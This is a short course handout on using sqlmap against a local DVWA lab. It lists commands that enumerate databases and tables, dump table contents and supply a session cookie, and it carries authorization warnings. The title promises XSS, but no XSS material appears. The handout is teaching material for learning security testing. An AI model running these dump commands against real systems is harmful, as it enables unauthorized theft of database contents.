# Practical Assignment - SQLMap & XSS Guide

Safety & Legal Notice:
Only perform testing on systems you own or where you have explicit written permission.
Unauthorized security testing is illegal.

Core Commands:

```
1) python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
   -u : specifies the target URL

2) python sqlmap.py -u "URL" --dbs
   --dbs : list databases

3) python sqlmap.py -u "URL" -D databasename --tables
   -D : select database; --tables : list tables

4) python sqlmap.py -u "URL" -D databasename -T tablename --dump
   -T : select table; --dump : dump table data

5) python sqlmap.py -u "URL" --cookie="cookievalue" --dbs
   --cookie : supply a cookie/session value (e.g., from an authorized capture)
```

High-level Step-by-step (safe lab):

1. Prepare an isolated lab (VM/container) and the target app (e.g., DVWA).
2. Ensure Python and sqlmap files are available.
3. Start the target service (localhost).
4. Run discovery (use --dbs) in the lab.
5. Inspect with -D and --tables.
6. Dump with -T and --dump for analysis only.
7. Use --cookie only when you have an authorized session value.

Remember: this PDF mirrors the educational content of your assignment.